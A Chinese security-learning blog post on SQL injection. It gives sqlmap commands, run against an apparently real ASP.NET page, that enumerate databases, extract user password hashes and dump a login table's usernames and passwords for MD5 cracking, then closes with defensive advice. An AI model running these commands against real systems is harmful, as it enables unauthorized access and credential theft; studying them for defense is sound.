【网络安全学习】常见攻击

简介: 【网络安全学习】常见攻击

sql注入

一.SQLMAP基础用法
SQLMAP的基础用法和前面基础文章类似,都是通过漏洞和SQL语句获取相关信息,具体用法如下:

1.获取所有数据库
参数:--dbs
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs

2.获取当前数据库
参数:--current-db
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db

3.获取数据库所有用户
参数:--users
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users

输出结果:两个用户

(1)BUILTIN\\Adminstrators
(2)sa

4.获取数据库当前用户
参数:--current-user
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user

5.获取数据库所有用户和密码
参数:--passwords
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords

6.获取数据库所有表
参数:-D ahykd_new --tables
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables
运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,--tables表示所有表。

7.获取数据库登录表所有字段
参数:-D ahykd_new -T usr --columns
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns
运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,--columns表示usr表所有列。

是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。

8.获取数据库登录表用户名和密码
参数:-D ahykd_new -T usr -C "usr_name,password" --dump
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump
获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),--dump输出所有值。

如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
输出结果为空,报警告“the SQL query provided does not return any output”。

正常的输出结果例如下图所示,再通过md5解密即可。

怎么样防范服务器的安全呢?

  • 第一种方法是拦截带有SQL语法的参数的传入。参数会改变SQL的结构,当我们知道这个参数是整型的时候,就把这个参数转型为整型,整型肯定不包括这个SQL结构,无法改变结构,哪就不存在SQL注入。

    第二种方法是通过预编译处理拼接参数的SQL语句。有的时候我们无法预测它传什么参数,比如我们去论坛回复一个帖子,肯定没有办法控制,这个时候我们可以用PDO预处理,这是最常见的方法,也是一个最好的方法。但有时我们会写一些复杂社会语句,会用第一种方法,我们先定义好这个SQL语句结构,再把参数放进去,这个时候是无法达到更改SQL语句处理的目的。

    第三个方法是定期分析数据库执行日志,判断是否有异常SQL执行。当业务比较大的时候,日志是非常多的,可以找一些SQL的取模软件进行取模,取模之后并不太多,如果直接看的话是海量日志,是没法看的。

目录
相关文章
|
5天前
|
Kubernetes 应用服务中间件 Docker
Kubernetes学习-集群搭建篇(二) 部署Node服务,启动JNI网络插件
Kubernetes学习-集群搭建篇(二) 部署Node服务,启动JNI网络插件
|
5天前
|
存储 算法 Windows
课程视频|R语言bnlearn包:贝叶斯网络的构造及参数学习的原理和实例(下)
课程视频|R语言bnlearn包:贝叶斯网络的构造及参数学习的原理和实例
|
5天前
|
算法 数据可视化 数据挖掘
课程视频|R语言bnlearn包:贝叶斯网络的构造及参数学习的原理和实例(上)
课程视频|R语言bnlearn包:贝叶斯网络的构造及参数学习的原理和实例
|
3天前
|
安全 网络协议 网络安全
网络安全笔记整理(1),字节跳动网络安全内部学习资料泄露
网络安全笔记整理(1),字节跳动网络安全内部学习资料泄露
|
5天前
|
机器学习/深度学习 算法 网络架构
什么是神经网络学习中的反向传播算法?
什么是神经网络学习中的反向传播算法?
10 2
|
5天前
|
机器学习/深度学习 存储 自然语言处理
【威胁情报挖掘-论文阅读】学习图表绘制 基于多实例学习的网络行为提取 SeqMask: Behavior Extraction Over Cyber Threat Intelligence
【威胁情报挖掘-论文阅读】学习图表绘制 基于多实例学习的网络行为提取 SeqMask: Behavior Extraction Over Cyber Threat Intelligence
12 0
|
5天前
|
安全 网络安全 数据安全/隐私保护
网络安全:如何保护你的网络不受黑客攻击
【5月更文挑战第10天】 网络安全摘要:强化密码安全,使用防病毒软件,启用防火墙,定期更新软件,使用安全网络连接,备份重要数据,提高安全意识。这七大措施助你构建安全网络环境,抵御黑客攻击。记得持续学习,适应不断变化的威胁。
|
5天前
|
Kubernetes API 调度
|
5天前
|
前端开发 数据挖掘 数据建模
课程视频|R语言bnlearn包:贝叶斯网络的构造及参数学习的原理和实例(中)
课程视频|R语言bnlearn包:贝叶斯网络的构造及参数学习的原理和实例
|
5天前
|
机器学习/深度学习
GAN网络的代码实现(学习ing)
GAN网络的代码实现(学习ing)

热门文章

最新文章